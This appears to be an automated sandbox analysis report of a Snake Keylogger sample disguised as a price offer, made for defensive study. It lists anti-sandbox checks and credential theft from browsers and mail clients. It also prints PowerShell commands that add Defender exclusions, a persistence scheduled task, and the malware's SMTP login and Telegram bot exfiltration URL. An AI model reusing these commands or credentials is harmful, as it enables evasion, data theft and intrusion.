Analysis
-
max time kernel
152s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
05-07-2022 12:02
Static task
static1
Behavioral task
behavioral1
Sample
PRICE OFFER_01321.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
PRICE OFFER_01321.exe
Resource
win10v2004-20220414-en
General
-
Target
PRICE OFFER_01321.exe
-
Size
699KB
-
MD5
c4e2b85e0285bd6fc888c326a4724ba8
-
SHA1
27629d34786f67e20c31e4ab3ee88276fc8e51a4
-
SHA256
6fccc54b1735e68508ccfdad83f18a26226257c153b714d8cff7d0cffe905423
-
SHA512
3038e1a9242a7a94acb083aee37b1d874682181f01cc63b029146b709555c269d3e93fabd40ce22fa2cdb9f65e45be3540646991408ee13ecf6e2f74855b075e
Malware Config
Extracted
snakekeylogger
Protocol: smtp- Host:
mail.anatolia-mountains.com - Port:
587 - Username:
h.alhaj@anatolia-mountains.com - Password:
Anatolia3? - Email To:
jevi.jrk@gmail.com
https://api.telegram.org/bot5340115384:AAFLNLUoDjoCsDoiMMlkY81rG-_Kb9LOEBc/sendMessage?chat_id=5316464344
Signatures
-
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
-
Snake Keylogger Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4236-145-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
PRICE OFFER_01321.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions PRICE OFFER_01321.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
PRICE OFFER_01321.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools PRICE OFFER_01321.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
PRICE OFFER_01321.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion PRICE OFFER_01321.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion PRICE OFFER_01321.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
PRICE OFFER_01321.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation PRICE OFFER_01321.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
PRICE OFFER_01321.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 PRICE OFFER_01321.exe Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 PRICE OFFER_01321.exe Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 PRICE OFFER_01321.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 35 checkip.dyndns.org -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
PRICE OFFER_01321.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum PRICE OFFER_01321.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 PRICE OFFER_01321.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
PRICE OFFER_01321.exedescription pid process target process PID 2480 set thread context of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
PRICE OFFER_01321.exepowershell.exepowershell.exePRICE OFFER_01321.exepid process 2480 PRICE OFFER_01321.exe 4132 powershell.exe 4960 powershell.exe 2480 PRICE OFFER_01321.exe 4236 PRICE OFFER_01321.exe 4132 powershell.exe 4960 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
PRICE OFFER_01321.exepowershell.exepowershell.exePRICE OFFER_01321.exedescription pid process Token: SeDebugPrivilege 2480 PRICE OFFER_01321.exe Token: SeDebugPrivilege 4132 powershell.exe Token: SeDebugPrivilege 4960 powershell.exe Token: SeDebugPrivilege 4236 PRICE OFFER_01321.exe -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
PRICE OFFER_01321.exedescription pid process target process PID 2480 wrote to memory of 4132 2480 PRICE OFFER_01321.exe powershell.exe PID 2480 wrote to memory of 4132 2480 PRICE OFFER_01321.exe powershell.exe PID 2480 wrote to memory of 4132 2480 PRICE OFFER_01321.exe powershell.exe PID 2480 wrote to memory of 4960 2480 PRICE OFFER_01321.exe powershell.exe PID 2480 wrote to memory of 4960 2480 PRICE OFFER_01321.exe powershell.exe PID 2480 wrote to memory of 4960 2480 PRICE OFFER_01321.exe powershell.exe PID 2480 wrote to memory of 2920 2480 PRICE OFFER_01321.exe schtasks.exe PID 2480 wrote to memory of 2920 2480 PRICE OFFER_01321.exe schtasks.exe PID 2480 wrote to memory of 2920 2480 PRICE OFFER_01321.exe schtasks.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe PID 2480 wrote to memory of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe -
outlook_office_path 1 IoCs
Processes:
PRICE OFFER_01321.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 PRICE OFFER_01321.exe -
outlook_win_path 1 IoCs
Processes:
PRICE OFFER_01321.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 PRICE OFFER_01321.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks computer location settings
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\NDQkzFEuerWbZz.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NDQkzFEuerWbZz" /XML "C:\Users\Admin\AppData\Local\Temp\tmp396F.tmp"2⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD53d086a433708053f9bf9523e1d87a4e8
SHA1b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA2566f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
18KB
MD5cbcda80fe8eeb657e5bd85c38503f67c
SHA175e0af444f8eea122b74eca30944ce8aa0a26b21
SHA2569215e0a7ec60d81bb0ba28bbcf0bc3a4b8a74190afb6d554ef875d22e29727e3
SHA512045340facad72b1eec0d4204916b62e91d8c553f7069f342c3926fb918a84e1cec850faca0888ffb34ded7fc0067ac68ce8df1e3aeade060ff904d3744221206
-
C:\Users\Admin\AppData\Local\Temp\tmp396F.tmpFilesize
1KB
MD5c55d597d8dd3b06725c8b005bce3f61b
SHA1009b3db0e75102eae21b7eba18f1363d949083fb
SHA256f03a1d6020554a7389bbd44101aed839b9824c6ff6d7e5aaba023f954f9b4783
SHA512b65c824b3a62a2a762be32dd4039b064099803294922b1b04d189e52f8c97d718008f0c20270e9ab2158dabb80721e517c016db92d042b6acfda3793d2e74da3
-
memory/2480-131-0x0000000008410000-0x00000000089B4000-memory.dmpFilesize
5.6MB
-
memory/2480-132-0x0000000007F00000-0x0000000007F92000-memory.dmpFilesize
584KB
-
memory/2480-133-0x0000000007EC0000-0x0000000007ECA000-memory.dmpFilesize
40KB
-
memory/2480-134-0x000000000BC40000-0x000000000BCDC000-memory.dmpFilesize
624KB
-
memory/2480-135-0x000000000BF90000-0x000000000BFF6000-memory.dmpFilesize
408KB
-
memory/2480-130-0x0000000000F70000-0x0000000001024000-memory.dmpFilesize
720KB
-
memory/2920-140-0x0000000000000000-mapping.dmp
-
memory/4132-151-0x0000000006910000-0x000000000692E000-memory.dmpFilesize
120KB
-
memory/4132-138-0x00000000055A0000-0x0000000005BC8000-memory.dmpFilesize
6.2MB
-
memory/4132-142-0x0000000005CA0000-0x0000000005D06000-memory.dmpFilesize
408KB
-
memory/4132-136-0x0000000000000000-mapping.dmp
-
memory/4132-137-0x0000000002A50000-0x0000000002A86000-memory.dmpFilesize
216KB
-
memory/4132-158-0x00000000079B0000-0x00000000079B8000-memory.dmpFilesize
32KB
-
memory/4132-146-0x0000000006390000-0x00000000063AE000-memory.dmpFilesize
120KB
-
memory/4132-155-0x0000000007910000-0x00000000079A6000-memory.dmpFilesize
600KB
-
memory/4132-154-0x0000000007700000-0x000000000770A000-memory.dmpFilesize
40KB
-
memory/4132-153-0x0000000007690000-0x00000000076AA000-memory.dmpFilesize
104KB
-
memory/4132-149-0x0000000070EC0000-0x0000000070F0C000-memory.dmpFilesize
304KB
-
memory/4132-141-0x0000000005C00000-0x0000000005C22000-memory.dmpFilesize
136KB
-
memory/4236-147-0x0000000006B50000-0x0000000006D12000-memory.dmpFilesize
1.8MB
-
memory/4236-145-0x0000000000400000-0x0000000000426000-memory.dmpFilesize
152KB
-
memory/4236-144-0x0000000000000000-mapping.dmp
-
memory/4960-152-0x0000000007A10000-0x000000000808A000-memory.dmpFilesize
6.5MB
-
memory/4960-150-0x0000000070EC0000-0x0000000070F0C000-memory.dmpFilesize
304KB
-
memory/4960-148-0x0000000006680000-0x00000000066B2000-memory.dmpFilesize
200KB
-
memory/4960-156-0x0000000007600000-0x000000000760E000-memory.dmpFilesize
56KB
-
memory/4960-157-0x0000000007710000-0x000000000772A000-memory.dmpFilesize
104KB
-
memory/4960-139-0x0000000000000000-mapping.dmp